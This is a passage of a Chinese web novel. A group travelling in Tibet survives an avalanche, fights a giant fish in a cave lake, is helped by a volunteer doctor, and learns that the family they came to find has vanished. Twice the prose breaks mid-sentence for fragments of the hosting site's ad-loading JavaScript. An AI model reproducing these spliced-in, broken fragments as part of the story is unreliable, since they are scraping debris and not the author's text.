“静观其变,以不变应万变。” 床头放着一本书,书的扉页上写着这句话——这是师父的字迹,用来对付现在的情况刚刚好。 原计划推迟到了一周以后,到达贡嘎国际机场的时候,迎面来的晚风和卫斯诚梦里的别无二致。 一个星期以来,他想尽办法从不同的人嘴里套话,最终什么都没套出来,还收获了几个人对智力障碍儿童的关心。 “小卫,这儿!”梦里的皮夹克寸头此时正站在机场门口冲着来人挥手,嘴里的台词也大差不差。 “好久不见,你真是长大了。”寸头把三人的箱子码进后备箱,顺便拉一拉家常。 “我记得,您小时候抱过我。”卫斯诚熟门熟路地接上对方的话头,“但我那时候太小了,有些事情记得不一定准确。您是表哥是吗?” “对!我是你表哥,不过属于那种非常非常远的亲戚关系。”寸头对二十几年没见的人认出自己这件事颇感吃惊。 “表哥好。这个是我姐姐姜泠,这位是我朋友凌岓,这趟我们仨一起来办事儿。” “哦对了,我们现在是直接去芝则吗?车上有没有盒饭,饿死我了。” 介绍完同行的两人,卫斯诚丝毫没给对方插话的机会,紧接着就问接下来的行程。 “额…没错,我们直接去芝则。达玛明天早上回来,姑姑的意思是你们明早能和达玛见一面。” 寸头奇怪卫斯诚怎么会知道订盒饭的事情,不过他也没多想,和另外两人握了握手:“两位好,我叫曾宇,这次来这边有什么事情都可以找我。” “不是说是伯母的朋友嘛,怎么又成亲戚了?”握手的人问。 “是朋友,本来应该是达玛的丈夫过来接你们。但是祖巴上周碰见点意外,不方便过来,所以换成我来了。” 一样的车型、一样的路线——坐上车后,卫斯诚往后排一缩,闭眼假寐,一句话都不说。他在等,等过了高速收费站后的那个老牧民和那场雪。 “你们冷不冷?车后面有毛毯,冷的话自己裹上。”曾宇说着,不忘把空调暖风开大。 高速收费站已经过去了,卫斯诚睁开眼,果然看到前方不远处的牦牛群和跟在后面的牧民。夜空中飘飘扬扬的雪花和牧群几乎同时出现,让缩在后排假寐的人更加确信上周的经历并非做梦。 “咱们得开快点,等会儿雪下大了,路就不好走了。”等牧群过去,曾宇一脚油门,车子像离弦之箭一样飞了出去。 卫斯诚静静等待着招待所和尽头房间那鬼魅的出现,却没防住猛地向前撞去——这辆疾驰路上的越野不知为何,一个急刹车停了下来。 曾宇拍了拍方向盘,“好像是熄火了,我下去看看。” 雪越下越大,车的引擎盖被打开又合上。曾宇绕着四个轮胎仔仔细细查了一遍,没有发现一点异常。 “抛锚了吗?”凌岓也下车帮忙。 “不是,不是抛锚。”曾宇指了指车胎,“我看了,不是发动机和轮子的问题。” “会不会是没油了?”下车没有几分钟,两人的头发已经被雪染了个花白。 “那也不应该,我来的时候加满油的。” “先上车吧,外面太冷了。我们上车看能不能叫救援。” 四个人的屏幕上不约而同地显示出一个叉——没信号。不仅车上没信号,附近稍微高一点的地方也没信号,求援的计划暂时搁浅。 “好在油箱还是满的,车里也有点吃的,坚持一晚上应该没什么问题。”看着曾宇满脸焦躁,凌岓试着平复他的心情。 “你们不知道,这条路不在国道和省道上,平常来的车不多。”曾宇想点烟,但看了看车里的姑娘,又把烟塞了回去,“不知道这个雪还要下多久。” “希望雪赶紧停,我们赶紧到芝则。毕竟附近人都说,这段路是鬼路,要真遇上什么事儿就完了。” 一大块冰雹砸在前挡风玻璃上,曾宇的五官挤在一起,愁得要命。 27. 第二十七章 芝则雪夜 路两侧是连贯起伏的山,山顶的雪线隐隐有向下移动的趋势。狂风由开阔处涌进这里,在两山之间形成峡谷效应,吹在人脸上,如刀割一般疼。 冰雹和大雪打在车身上,和车的金属外壳奏响一首并不好听的曲子。 “以我的经验来看,没信号一般不会有什么好事儿。”卫斯诚在外面溜了一圈都没发现信号,这才回到车里。车内外温度差得太大,他一上车连着打了好几个喷嚏。 “车好像在动。”车里的姑娘隐约感觉到这辆交通工具在往后移。 “我靠,不会有什么不干净的东西吧。”刚上车的人出于条件反射看向后视镜。 “什么不干净的东西,风太大了!”凌岓坐在副驾,眼睁睁看着被风卷起的小石子砸在挡风玻璃上,把它砸出细细的纹路。 这条路并不是平坦的路,而是前高后低的地势。车慢慢往后溜的同时,前面有一团黑乎乎的东西滚了下来。 “那是石头吧?”副驾上的人最先发现前方逼近的东西,又不太确定地看了看。 “好像是。”后排的人用手机镜头拉大一看,“这么大的石头吗?” “快下车!” 曾宇拉开车门,被贴面而过的冰雹刮出一道血痕。姜泠一把将后排抱着手机傻眼的人拽下车,还不忘把后座剩下的半件水和一箱面包也拖下来。 “把包背好。”车越往后滑,副驾上的人早把后备箱的背包拎了出来。 “这也没地儿跑啊。”卫斯诚前后看了看:路不宽,两侧都是山,决计不能同时容下巨石和一个成年人。 细小的石块和雪沫滚到脚下,看样子来得不止一块石头。 脑袋被人狠狠拍了一下,一转头,姜泠正揪着他的领子往后退,她一脸无奈,“你脑子冻麻了吗?往后跑啊!” 开进来的时候没觉得两侧的山有多长,此时跑起来却让人一眼望不到头。坡度变陡,巨石滚落的速度加快,一转眼就和往下滑动的越野撞到了一起。 众人缓了口气,刚看着被越野拦住的巨石庆幸,就又提心吊胆起来——越野车的缓冲只是暂时,巨石正推着车一并朝他们的方向过来。 “那儿有个洞,进洞!快进洞!”曾宇把包扔进头顶上的洞穴,手脚并用着爬了上去。 这洞穴很深,容纳四个人也并不是难事。进洞的人趴在洞口,生生看着越野车被巨石推翻、压到变形。 “快看那个!” 凌岓指向对面的山顶,只见白茫茫的雪浪向下奔腾着,很快淹到了半山腰的位置。 “这也能雪崩?”曾宇一拍脑袋,赶紧招呼同伴往洞的深处钻。 洞穴延伸向下,洞内可供钻行的路到后面变得又湿又滑。雪流已经钻了进来,最下面的人一着急一脚踩空,当即便不受控制地滑了下去。 下坠的时候,凌岓只觉得嗖嗖的凉风在耳边呼啸,头顶上时不时被雪块砸中,吞进嘴里的雪化开,苦得要命。 “都没事儿吧?听见答应一声啊。” 曾宇的声音传来,凌岓把嘴里的雪吐干净,应了一句“这儿呢”。 “小卫和他姐呢?”曾宇晃着手电筒和这边的人汇合,“他俩怎么不见人了?” “不知道,到前面去找找吧。”凌岓清点了背包里的东西,也打开手电筒。 洞穴甬道下面另有一方天地,手电筒光照过去,前面是几根雕着人像的石柱。 “这什么地方?总不能是哪个前辈安睡的地方吧?”曾宇从没见过这种东西,再加上身处山洞底下,他难免多想。 “不见得,先找人要紧。”另一人留了个心眼,把石柱上的人像花纹记在了脑子里。 绕过石柱继续往后走,两人眼前出现了一个溶洞。溶洞内,石幔粼粼,石笋林立,四处是造型各异的石花。 如果这里现在是已经被开发的景区,这里的两人是来参观的游客,那么高低会感慨一句“鬼斧神工”。 只是现在,同伴下落不明,前路不知有什么,出口也不见踪影,打着手电的两个人实在没心情欣赏眼前的美景。 嘀嗒、嘀嗒…水滴顺着石壁流下来,凌岓无意间瞥见挂在一根石笋上的黑色圆圈,他立刻认出了那是姜泠绑头发的发绳。 “看来他们也来过这儿。”曾宇看着那根发绳,又担心起来,“我弟和她在不在一起?万一这俩人也不在一起可咋办呐!” “别急,再往前走走。”最先发现同伴踪迹的人把发圈揣进兜里,继续往前走去。 两人小心翼翼穿过溶洞,又走了一段距离后,眼前赫然出现一个巨大的湖泊。姜泠和卫斯诚正站在湖边,不知道在看什么。 “原来你俩在这儿呢,让我们一通好找!”曾宇悬着的心总算从嗓子眼落回肚子里。 “看什么呢?”凌岓走到姜泠身边,突然发现望着湖面出神的卫斯诚全身都湿透了,“你这是下去游泳了?” “不是,有大鱼。”衣角还滴着水的人眉头紧皱,一句冷都没喊。 “大鱼有什么好稀奇的。”曾宇也凑过来,“赶紧走吧,找找有没有别的出路。现在洞口肯定被雪埋掉了,我们还得另寻生路。” “大鱼不稀奇,稀奇的是,那条鱼送上来了这个。”姜泠身上倒没有水,她递给刚来的人一把银柄弯刀,“这是我师父的东西。” “那意思是,你师父被那条鱼吃了?”曾宇第一反应就是这个,此刻大剌剌地问出来,便被那位远房表弟剜了一眼。 “他说的对,下来的洞口肯定已经被雪埋上了。我们现在必须得找到另一个出口。”姜泠没回应曾宇的猜测,“我刚刚在这附近看了看,我们可能要先过湖。” “过湖?”凌岓一眼瞧见不远处的一只木船,哑然失笑,“说过湖就有过湖的工具,我们也算幸运儿了。” 这是一只乌篷船,几个人仔细检查了一遍后发现,除了遮雨的篷有点破烂,船身上一点问题都没有。 等到四人勉强都挤了上去,凌岓和卫斯诚一前一后负责划船,姜泠和曾宇则负责注意水下的动静。 “湖里一般不会有什么怪家伙吧。”曾宇说话时正抱着一根消防斧——那是他备在车上防身用的。 “不好说,有人说水黑则渊。你看这湖,比碳素墨水还黑,反正肯定不浅,谁知道里面有什么。”船尾的人划着桨,做出一副随时要和人打架的姿势。 湖面风平浪静,除了船桨拨开水面时掀起的涟漪,再无其他异动。快到湖中间了,水面可堪作一面镜子。 “休息会儿,休息会儿。”卫斯诚靠在船尾,两眼放空,“还真别说,这个湖里倒是不冷,跟温泉一样,怪暖和的。” 凌岓看着摆烂的同伴笑笑,接过姜泠递来的面包,“再坚持坚持,到岸上了再休息。” 正说着,没在水下的船桨突然划不动了。凌岓先是一愣,用力拨了两下,见那船桨纹丝不动地卡在船边,他顿时反应过来松开了船桨。 在他松开船桨的同一秒,一条比人还高的鱼从湖面跃了出来,水面被这条鱼搅动了一番,小船立刻剧烈晃动起来。 “这是鱼?”曾宇目瞪口呆,“水怪吧这是…” 话没说完,那条灰褐色的锥形鱼又一个猛子扎回湖里,不消片刻,小船便从下面被顶翻了。 变故发生得太快,众人还没反应过来,就已经泡在湖里了。曾宇没学过游泳,一连呛了好几口水,马上就要眼前一黑晕过去时,有人塞给他一块木板。 “抱好了,它能让你一直浮起来。”——是姜泠,她离曾宇最近,听到闷哼声,她马上反应过来有人不会水。 湖水太黑,以至于那条灰褐色的大鱼折返回来的时候,漂在水上的人一点儿都没看到。 “我去…” 鱼尾扫过来,刚好撞上卫斯诚,撞得他直往水下沉。凌岓见状,一把夺过曾宇手里的消防斧潜了下去。 到了水下,一眼望不到底,凌岓才意识到这湖比想象中还要深。身边的水流快速流动起来,他闪身避开,和那条大鱼擦身而过。 这鱼长得真丑——一人一鱼四目相对时,人没忍住在心里嫌弃了一句。 锥形大鱼巨长无比,在水下看,比两个人加起来都还要长。这条鱼的尾巴不太对称,它腹部扁平,吻部是尖尖的三角形,背上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还有五行菱形骨板。和人对视的时候,一双红通通的鱼眼盯得对方发毛。 许是刚刚的人避开了它的袭击,大鱼有些恼,现在横冲直撞就朝着水里的人扑了过来。 鱼的身形大,力量也足够大,但与此同时,它缺少了许多灵活性。抓着这个弱点,凌岓连连躲过了好几轮攻击。 大鱼穷追不舍,水下的人飞快浮出水面换了口气,又潜了下去。几番缠斗下来,鱼身上被消防斧劈出了好几条伤口,血流进湖水里,腥得人想吐。 趁着大鱼纠缠凌岓的机会,姜泠已经把卫斯诚捞上了断裂的船板。没听见凌岓的声音,她问曾宇要了点东西,然后也钻回了水里。 大鱼龇着两排尖牙,红眼睛几乎要喷出火来。它想把眼前的人咬碎,可只往前游了几米,便被什么东西缠住了。 凌岓一看,大鱼尾巴被一根铁钩挂住了,汩汩不断的鲜血涌出来,周边的湖水变得浑浊无比。铁钩上缠着一根长绳,长绳的另一端绑在旁边一块暗礁上。 肩膀上被人拍了一把,和大鱼对峙的人一转头,是姜泠。 姜泠手里攥着一捆什么东西,感觉到要找的人发现了自己,她赶忙指了指手里的东西,又指了指大鱼。另一人了然。 就在曾宇抱着木板四处呼喊水下两人名字的时候,他听见水下传来一声闷响。看着身边昏迷不醒的表弟,他欲哭无泪。 “好险好险,差点就嗝屁了。” 一个人从水下钻了出来,紧跟着,另一人也钻了出来。曾宇看清两人的面孔,嘴角都要咧到耳朵根了,“没事儿吧!你们没事儿吧!” “没事没事,只差一点就要葬身鱼腹了。”凌岓游到曾宇身边,又看了看卫斯诚,“他怎么样。” “他没事,呛了几口水。一会儿按压几下就好了。”姜泠也靠了过来,原先束起来的头发已经披散开了。 “你刚刚拿的什么东西,怎么还能爆炸?”在水面上漂浮片刻,凌岓终于缓过劲了。 “打火机。” “打火机?” “嗯,曾宇的。他身上带了十几个打火机,我就借过来用一用。没想到那条鱼什么都咬,炸了也不能怪别人。” “好好好,我还真以为是炸弹。”凌岓听得想笑,转而问曾宇,“哪儿买的质量这么好的打火机?防水性能不错啊。” “我家楼下小卖部,你要喜欢,我回去给你批发一百个。” 等玩笑开完,几个人的体力也恢复了一点。卫斯诚还没醒,凌岓和姜泠就一前一后带着他游向岸边。 天光大亮的时候,几个人终于爬到了岸上。几口黑水吐出来,呛水的人也悠悠醒转。 “到阎王殿了吗?”虽说眼睛睁开了,可卫斯诚还是迷迷瞪瞪的。 “到什么阎王殿,我们上岸了。”凌岓拍了拍他的脸,一脸担忧,“怎么又发烧了…” “现在上哪儿给他找大夫啊。”曾宇也急,可没有一点办法。 姜泠从包里翻出一个玻璃瓶,再从瓶子里倒出两粒胶囊给师弟喂下去。 “这是什么?”凌岓问。 “退烧药和消炎药。”在水里泡得太久,女孩的手指上全是褶皱。 “他的尾椎骨可能骨折了。”姜泠摸了摸卫斯诚的后腰处,“我们得赶紧出去,要不然没有药,我怕会留下什么后遗症。” “老曾快过来搭把手。”闻言,凌岓也不休息了,当即就要扶着卫斯诚往前走。 “你们在这里做什么?” 一个女孩子的声音突然响起,众人一转身,就看见面前站着一个穿着藏族服饰、背着背篓、扎着麻花辫的姑娘。 “他生病了吗?”姑娘径直走过来,看了看昏迷不醒的卫斯诚,又看了看浑身上下都是水的另外几人,“你们是不是掉到水里去了?” “是。”凌岓立马回答道,“我们从对面过来,过来的时候船翻了,所以就成现在这样了。” “对面?”姑娘有些怀疑地看了一眼,又说,“你们跟我来吧,先带你们的朋友去看安吉拉。” 一行人在姑娘的带领下往前走,没过多久就到达了一个藏寨。 28. 第二十八章 故人之姿 “阿姐,有人受伤了!”女孩把背篓放在门前,领着众人进了屋。 “这几位是?” 女孩嘴里的“阿姐”从厨房里出来,手上还沾着面粉。看见凌岓和曾宇扶着的人,赶紧过来帮忙让他平躺在沙发上。 “这是怎么了?” 阿姐中等个子,有一张鹅蛋脸,说起话时,两只圆圆的杏眼看过来,叫人格外觉得亲近。 “他们掉到湖里头去了。”不等当事人开口,扎着麻花辫的小姑娘就替他们回答了。 “那就是呛水了,或者是着凉了。”阿姐回房提着一个药箱出来,“我看看。” “你阿姐是医生?”见眼前的女人认真拿着听诊器的样子,凌岓忍不住问了一句。 “对!我阿姐是我们这里唯一的安吉拉!”小姑娘仰起头,满脸都是自豪。 “安吉拉就是医生的意思吗?”曾宇也好学起来。 “对。”女人把挂在脖子上的听诊器摘下来,“安吉拉在藏语里就是医生的意思。你们的朋友肺部可能有点积水,得把他送到卫生院去。” “卫生院离这里远吗?”姜泠找了些现成的工具给师弟做了个简易固定,想到他身上的伤,不免担心。 “有点远,还得去镇上。”阿姐看了看,又问,“他腰怎么了?” “尾椎骨骨折。” “明白了。”阿姐点点头,拉开门出去了。 “这怎么?不管病人啦?”曾宇也担心,看见医生出门去,更是着急。 “我阿姐肯定是去找人帮忙啦,你急什么!”小姑娘白了曾宇一眼,还不忘给站着的三人各倒了一杯热水。 “原来是这样啊。”曾宇不好意思地挠了挠头。他个子高,人又壮实,和小姑娘一对比,像一只棕熊。 “把你们的朋友带出来吧。” 大约一刻钟之后,阿姐从门口探出半个脑袋看向屋内,“达吉大哥刚好要去趟镇上,我们坐他的车走。” 一只大牛,一张长木板,再加上两个半人高的大轮子——这就是达吉的车。看见昏睡着的年轻人,这个淳朴的藏民跟女人说了些什么。 “他说什么?”曾宇听不懂藏语,急得跳脚。 “达吉大哥说,你们的朋友看起来很严重,坐他的车走怕会耽误时候。” “可是不坐车更耽误时间!” “你别着急,我跟他说了,现在其他人都不在,只有坐他的车走才行。他也同意了。” “那就好,那就好。” 大约是没坐过牛车的缘故,曾宇自上车之后,总是时刻紧张着躺在木板上的人,生怕他被颠下车去。 “听口音,你不像是这里的人。” 达吉在前面赶车,凌岓在后面有一搭没一搭地找话聊。 “对,我不是这里的人。”阿姐露出明媚的笑容,“我是硕士毕业之后,来这边援藏的医学生。” “那个小女孩也是你带来的吗?”这个问题刚问出口,曾宇就想收回去。 “当然不是啦。”女人一听,笑得更开心了,“她叫央拉,是土生土长的藏族孩子。她父母外出务工没什么人管,从小吃百家饭长大的。我来了以后,村里的同志就把她安排给我照顾了。” “我就说嘛,你俩长得一点都不像。” “哦对了,我们都不知道你的名字呢,这忙活了半天,大家都还不认识。”说到这儿,曾宇才想起来这茬,“我叫曾宇,宇宙的宇。” “凌岓,两点水的凌,山字旁一个三两斤的斤。” “我叫沈径霜,直径的径,冰霜的霜。你们好。” “故园三径吐幽丛,一夜玄霜坠碧空[1],这个名字真好听。我叫姜泠,生姜的姜,三点水的泠。” 两个姑娘的手握在一起时,沈径霜忍不住多看了对方两眼——这女孩看起来不怎么爱说话,但她就是莫名有种一见如故的感觉。 牛车终于哼哧哼哧停在了卫生院门口,镇上比村子里热闹得多,卫生院更是进进出出的人不断。 “张老师,张老师!”沈径霜拉住门口的一个白大褂,“我这里有一个病人,他溺水了,肺部有积水,走急诊吧。” “嗯,行!”白大褂走上前掀开卫斯诚的眼皮看了看,“我叫他们拿个担架过来。” “哦对了,先前听你那么说,你也是医生吗?”沈径霜看见伤者腰上的固定,想起自己没问的问题了。 “会治一些骨头上的毛病,皮毛而已。” “那有机会一定要好好交流一下!” 担架来了,沈径霜跟着卫斯诚匆匆进了手术室,另外三人则是坐在外面等。 电子表的小时数又加了一位,手术室的门也跟着开了。 “没事啦,让他在卫生院呆两天,挂两天水就没什么事儿了。”说话的人摘下口罩,脸上浮现出疲惫,“不过伤筋动骨一百天,最近这段时间,你们的朋友估计不太能动弹了。” “人没事就行,动不了就动不了吧,好好休养最重要。”凌岓说完,和姜泠一同跟着卫斯诚去了病房。 曾宇看着几人的背影,纠结了纠结,最后还是走进楼梯间,拨通了电话。 “姑姑,您跟达玛说一声,我们今天实在是去不了了。” “主要是路上遇到雪崩了,我弟现在还在卫生院躺着呢。” “嗯嗯没事儿,您放心吧。就是达玛那边您得跟他们知会一声。” “芝则再看情况吧,我弟要是过两天还不行,就我们去取东西,不耽误,您放心。” “行,这两天有空的话我跟您视频。” 电话挂断,楼梯间的人叹了叹气,回到了病房。 “姜姑娘呢?” 一进门,曾宇看见病房里只有凌岓一人,他正坐在病床旁的小木椅上,认真盯着输液进度。 “说是和沈医生回去弄点吃的送过来。” 村里到镇上的车不多,但镇上回村里的车可不少。两个姑娘一出门,刚好赶上最近一趟回村的班车。 “诶,你看,是老鹰!”透过车窗,沈径霜看见天上一只展翅滑翔的鹰,当即兴奋地拉住姜泠。 “你跟我描述描述吧,我看不见。” 此话一出,方才还激动着要看鹰的女孩沉默下来,迟疑着问,“你?你的眼睛?” “我是盲人。”姜泠早习惯了这种情况,反倒能释然一笑。 “对不起啊,我不知道…” “这有什么好对不起的。能听见你们的描述也很好,我还没见过老鹰呢。” “嗯,那让我想想怎么描述啊…” 一段路下来,两个姑娘的距离被拉近了许多。姜泠是不爱多说的人,偏偏沈径霜是最喜欢和别人分享的性格。两个人凑在一块儿,一个说,另一个听,竟能难得地互补。 “你是哪里人?爱吃什么?我给你做!”回到家中,沈径霜把衣服往门口架子上一搭,径直走向了厨房。 “我不挑食,吃什么都行。”姜泠跟着进到厨房,“我帮你吧,两个人比一个人干得快。” “那我不客气啦!”说着,一只碗就塞进了姜泠手里,那女孩语气俏皮,“帮我把这俩鸡蛋打散了吧。” 饭做到一半,央拉从门外进来了,她从小挎包里掏出几根有长有短的螺丝,对着厨房喊,“阿姐,你要的东西我拿回来咯!” 沈径霜一听,放下手里的菜刀,走到门口。听见敲敲打打的声音,厨房里的另一人也跟着出来了。 “这是在做什么?有我能帮忙的吗? “不用不用,我这个壁柜门有点松动,我叫央拉从安巴大叔那儿拿几个螺丝回来修一修。” “哦。”姜泠难得夸人,“你真的是很能干的女孩子。” “你也是啊。” 沈径霜回应着,从壁柜中取出一把古琴放在一旁的桌子上。古琴落下的时候,拿着它的人无意间蹭到琴弦,发出一声低沉的琴音。这声音钻进姜泠耳朵里,扰动了她的神经。 “这琴是你的吗?” “琴?”刚把壁柜门关好的人被问愣住了,旋即反应过来,“不是,这当然不是我的,我哪会弹这个呀。这是一个上了年纪的老大叔交给我的。” “那个老大叔长什么样?他什么时候给你的?”姜泠急切地追问。 “长什么样?你让我想想。”沈径霜看眼前人着急的样子,一紧张,反而想不起来了。 “我没记错的话,那个老大叔好像有五十多岁了吧。个子不高,人瘦瘦的,但是很精神。说话是南方口音…” “哦对了,他后背上有两道特别长的疤,看起来应该是刀伤。” “你什么时候见到他的?” “去年吧。”沈径霜仔细回忆着当天的细节,“对,应该是去年中秋节的时候。那天我在卫生院值班,这老大叔被一个女 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人和一个男人送到卫生院,说他聚餐的时候喝多了,路上滑了一跤,把头摔破了。” “我还从没见过摔得那么厉害的人。送过来的时候,他浑身上下全都是血,人都不清醒了。我和我同学连夜晚上叫人回来,好在最后总算没什么大碍。” “之后呢?这把琴怎么到了你这里?”姜泠听着,心里有些不好的预感。 “琴是大叔给我的。当时他伤还没好完全呢,送他来的那两个人就要带他走。他们去交费的时候,大叔把这个交给我,说让我好好保管,会有人来这里找我拿的。” “和他一起的一男一女长什么样,有什么不对劲吗?” “那个女的挺有气质的,她好像叫大叔‘师哥’;那个男的长得就很凶了,三角眼,说话还很冲。不对劲的地方,那就只有伤还没好就要带大叔走了。” “不过他们说是接大叔回家修养,嫌我们这儿医疗条件不好,我们也没有拦着不让走的道理。” “你怎么突然问起这个呀?”比起那一男一女,沈径霜更想知道眼前的姑娘为什么这么关心这件事。 “你说的那个老大叔应该是我的家人。”姜泠想了想,决定撒个谎,“他之前和朋友一起出去旅游,很久没回过家了。这把琴向来是他最宝贝的东西,我看琴在你这儿,怕他出了什么事,所以才这么问。” “你不会就是大叔说的那个来拿琴的人吧。”保管琴的人突然觉得这种缘分很是奇妙。 “应该不是,他没跟我们提过这件事。可能他还托付了别人吧。”话到此处,姜泠突然郑重其事地拉起面前人的手,“我有件事情想麻烦你帮忙。” “你说,只要我能办到的,都会尽力帮的。” “这是我的电话,如果之后有人过来取琴,你能不能告诉我一声。” “可以,没问题。”沈径霜爽快应下,心里却疑惑着为什么姜泠不直接把琴带走。 送饭到卫生院时,卫斯诚已经醒转过来,此刻他正对着手机和母亲视频。 “说了八百万遍了,真没事儿。”半靠在床头的人脸上全是无奈,“你不信问曾…问我表哥。他能作证,真没事,就是掉水里被鱼扫了一尾巴,我现在活得好着呢。” “诶,我姐送吃的过来了。”看见来人手里提着的饭盒,卫斯诚眼冒精光,手机也被转了个角度。 “你恢复得倒挺快,你姐还担心了老半天呢。”沈径霜看了看还剩一半的吊水瓶,把饭菜放在了床头。 “你是谁?” “她是谁?”—— 电话两头的母子二人看见沈径霜,异口同声问出这个问题。 “哦,她叫沈径霜,是我们碰到的医生。就是她找人把斯诚送到卫生院的。”凌岓一直坐在床边,听到此处,赶紧向明樾解释。 “谢谢沈大夫!”卫斯诚倒是大大咧咧道谢,可那头的明樾还没作罢。 “小诚,你把手机挪过去点,让妈看看沈大夫。” 卫斯诚听得疑惑,却还是按照母亲的要求照做了。 “像,长得真像啊。”明樾念念叨叨。 “阿姨好。”沈径霜出于礼貌接过了手机,却被那边的人看得发毛。 “你好,你是姓沈阳的沈是吗?” “对,是那个沈。” “谢谢你救了我们家小诚,给你添麻烦了。”明樾斟酌了半天,又问出一句,“你家在哪里呀,哪天我和他爸爸登门道谢。” “不用了阿姨,我是这儿的援藏医生,救死扶伤是份内责任,不至于让您登门拜谢。” “那怎么能一样呢?我儿子不是这里的人,自己瞎胡闹受了伤,还得劳烦你们帮忙,道谢是一定要的。哪怕给你家里寄点特产也行。” “额…真的不用了阿姨。” “那你能不能告诉阿姨,你是哪里人呐?阿姨一看见你就觉得面熟,想起一个老朋友了。” “我是余州人。”沈径霜硬着头皮回答。 “好好,好孩子,余州是个特别好的地方。”明樾怕自己掩饰不住激动,最后叮嘱了几句,把电话挂断了。 “我妈可真奇怪哈。”卫斯诚拿回手机,尴尬不已,“沈大夫,不好意思啊,今天冒犯您了。她以前不这样的。” 卫家这边,明樾看着刚刚视频时截下的图,眼泪直流,嘴里念念有词道,“我终于找到你了,终于找到了!这孩子和你长得太像了。” 29. 第二十九章 晚上,姜泠让另外几人回去休息,自己留在了卫生院。 “这次伤得不轻,你就好好在这儿养伤,我们明后天去芝则,等拿到东西之后就回来接你。” “那不行!”床上的病患想起身,却用不上力气,他悻悻道,“我得去啊,多一个人就多一个帮手。” “你现在好好养伤就是对我们最大的帮助。” “姐,这毕竟是我妈的事,作为她的好大儿,我不能不去。这么多年了,我们的关系都不咸不淡的,你和师父以前不是老叫我多和爸妈交流吗?这次就是最好的机会。”卫斯诚这句话说得很诚恳。 “再说了,骨头上的毛病,谁能比你更会治,不是吗?” 如果说最开始卫斯诚还没有这么笃定的话,经过密室之后,他就坚定不移地发誓,一定会搞清楚自己家的秘密。 姜泠不说话,良久,微微叹了口气问,“一定要去?” “一定要去。” 有风徐徐吹了进来。病床上的人正紧咬着牙关忍受腰后的剧痛,他青筋暴起,攥着床沿的指节都发白了——这是越过休养期,快速痊愈所必须要付的代价。 翌日一早,曾宇和凌岓一同来到卫生院探视。一推门,看见卫斯诚正站在窗边活动,曾宇眼珠子都要惊掉了。 “你这…先天圣体还是医学奇迹?”曾宇左看右看,终于确定自己不是在做梦。 “我体质比较好,加上我姐有祖传秘方,区区骨折不在话下。” 凌岓不动声色地听着,虽然知道骨医有这样的本事,可这也是他第一次真真切切看到骨医的神奇之处。 “什么时候走?东西都收拾好了吗?”昨天的病患现在左摇右晃,力图证明自己真的痊愈了。 “下午的班车…”沈径霜推门进来,看见奇迹般站起来的人,硬是愣了半天才把剩下的半句话说出来,“票买好了,东西放在我办公室里。” “径霜姐姐,买我的票了吗?”卫斯诚换了个称呼,一脸讨好地笑。 “你的票?”门口的人拍了拍脑袋,“你怎么这么快就?就能站起来了?” “这个说来话长。反正我现在已经好了,拜托径霜姐姐再帮我也买张票吧。” “那…那也行,我再去一趟。” 直到走出卫生院,沈径霜才回过神来,她觉得还是不能听卫斯诚的,于是打算回去。刚一转身,便和姜泠碰到了一起。 “刚好你在。我还想问呢,小卫是怎么回事,怎么突然就能站起来了?哪有好这么快的骨折?” “我不是说懂一点治疗骨病的皮毛嘛。”姜泠淡淡一笑,“他是不是让你帮忙加张票?你就听他的,让他去吧。” “你这哪里是只懂皮毛,这分明是法力吧。”听出对方话里的揶揄,沈径霜也不多问,又折回去买票了。 正午一过,一行人就浩浩荡荡出发了。除了来时的四人,沈径霜领着央拉也一同登上了车。 “好巧,径霜姐姐跟我们一起去啊。” “嗯,去那边收一些中药。”回话人的位置本来在问话人旁边,现下她要换到姜泠那边去,换之前还不忘提醒一句,“别再叫我径霜姐姐了,我俩差不多大。而且,我不太习惯这种肉麻兮兮的称呼。” 这一路上总算没再遇到什么灾祸了,车上的人欣赏了一路窗外的景色,不知不觉间就来到了芝则。 芝则不大,可镇上的东西却不少。或许是临近疆藏边界处的原因,街上有好几家烤羊肉和烤馕店,众人一下车便闻见了烤肉香。 “我妈说的那家人在哪儿?我们是先去人家家里还是先垫吧两口?” 下车之后,沈径霜带着央拉先去收药的人家里了。剩下四人则是站在集散站门口,对着路线图研究。 “先去达玛家里。”曾宇好像也不大熟悉来了之后的路线,他拦了辆车,向司机报了一个很长的地址。 达玛家住在离山不远的地方,房子和山中间隔着一大片草场。出租车开到这里时,达玛正抱着一捆草料往回走。 “小朋友你好,请问这里是降央达玛家吗?”曾宇拦住一个拍着篮球的小男孩问。 小孩怯怯地看着几个生人,趁其不备,把篮球砸到曾宇身上,转身跑了。 “这熊孩子…” “你们找达玛?”从众人背后冒出来的女人梳着两根粗辫子,两颊上的红二团十分明显。 “对对对,您知道达玛家是哪栋房子吗?” “我就是达玛。”女人放下手里的干草,看了看来人的装扮,又问,“你们是木姑娘的朋友吧?” “对,我们就是她的朋友,来找您取东西。”曾宇赶忙应和着。 “进来说话吧。”达玛下意识咬了咬嘴唇,似乎有些不想多说。 达玛家是一栋两层高的小楼,一楼摆着神像和餐桌,二楼是一家人休息的地方。屋子里黑洞洞的,达玛打开灯,众人才能看清脚下的台阶。 “随便坐吧。” 达玛转身进去倒茶的功夫,姜泠已经把卫母交给她的东西拿了出来。 “伯母让我们把这些东西交给兰家,到了这儿才知道是由您替我们转交,麻烦了。”凌岓一如既往的客气。 “你们收好。”达玛将盒子又推回去,“你们现在可能交不了,我也交不了。” “为什么?”曾宇和卫斯诚异口同声。 “兰家好像出事了。”达玛十根手指紧紧绞在一起,“他们家的人都消失不见了。” “失踪?”想到六溪村的事情,卫斯诚紧接着说,“报警啊。” “兰家人的邻居说他们出去旅游了。” “那你为什么说消失不见了?” “因为往常这个时候,他们绝不会出门的!”达玛激动起来,“祖巴去他们家看过了,他们家里的东西都在,锅里还剩着饭呢!怎么可能是出去旅游?” “祖巴回来以后就一直迷迷糊糊的,哪里都看过了,就是查不出个病因来。”说到这儿,达玛的眼泪也跟着涌了出来。 “祖巴在哪儿,带我们去看看他吧。”姜泠听完达玛的讲述,把盒子重新收了起来。 达玛擦着眼泪点点头,引众人上了二楼。二楼一共三间卧室,祖巴就躺在最南边的那一间。 窗户开着,阳光照射进来,这才让床上的人脸色稍微好看一点。祖巴唇色惨白,一双眼睛已经深深凹陷进去了,众人隔着被子还能看到底下的轮廓——他已经瘦得脱了相。 